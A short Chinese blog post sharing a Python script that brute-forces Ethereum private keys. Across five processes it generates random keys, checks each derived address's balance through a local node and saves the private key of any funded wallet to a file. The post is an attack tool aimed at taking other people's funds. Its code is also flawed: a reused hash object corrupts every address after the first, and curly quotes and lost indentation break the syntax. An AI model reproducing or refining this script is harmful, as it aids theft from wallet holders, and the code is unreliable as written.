地狱怪客

以太坊ETH私钥碰撞代码

学了段时间ETH安全写的私钥碰撞程序
效果有些慢,反正我还没碰撞到。
python不适合,太卡了

#coding:utf-8
import time
from web3 import Web3, HTTPProvider
from ecdsa import SigningKey, SECP256k1
import sha3
import socks
import socket
import multiprocessing

keccak = sha3.keccak_256()

# 启动socs5代理
#socks.set_default_proxy(socks.SOCKS5, “127.0.0.1”, 1080)
#socket.socket = socks.socksocket

def writetofiles(filename, writebuf):
with open (filename, ‘a+’) as f:
f.writelines( writebuf + ‘\n’)

”’
随机生成私钥并算出ETH地址
return:
ETH地址
私钥密码
”’
def get_account():
priv = SigningKey.generate (curve=SECP256k1)
pub = priv.get_verifying_key ().to_string ()
keccak.update (pub)
address = keccak.hexdigest ()[24:]
privkey = ‘0x’ + priv.to_string ().hex ()
address = ‘0x’ + address
return address,privkey

”’
循环验证ETH余额
”’
def loop_bump(web3):
while True:
try:
eth_account, eth_privkey = get_account ()
print (‘[ETH]:’ + eth_account)
wallet = web3.fromWei (web3.eth.getBalance (web3.toChecksumAddress (eth_account)), ‘ether’)
if wallet > 0:
print (‘\t[Balance]:’ + str (
web3.fromWei (web3.eth.getBalance (web3.toChecksumAddress (eth_account)), ‘ether’)))
print(‘\nPrivate Key: ‘ + eth_privkey)

writetofiles(‘isok.txt’, str(eth_account) + ‘|’ + str(wallet) + ‘|’ + str(eth_privkey))
exit (0)
except Exception as e:
print (‘[scanETH]: ERROR! ‘ + str (e))
time.sleep (5)

”’
连接到本地ETH公有链
”’
def scanETH():
try:
web3 = Web3 (HTTPProvider (‘http://127.0.0.1:8545’))
loop_bump(web3)
except Exception as e:
print (‘[scanETH]: ERROR! ‘ + str (e))

def priv_crack():
thread_list = [] # 线程存放列表
thread_list.clear ()

for x in range(5):
t = multiprocessing.Process (target=scanETH, args=())
thread_list.append (t)
for t in thread_list:
t.start ()
for t in thread_list:
t.join ()

if __name__ == ‘__main__’:
priv_crack()

码字很辛苦,转载请注明来自人生在世《以太坊ETH私钥碰撞代码》

评论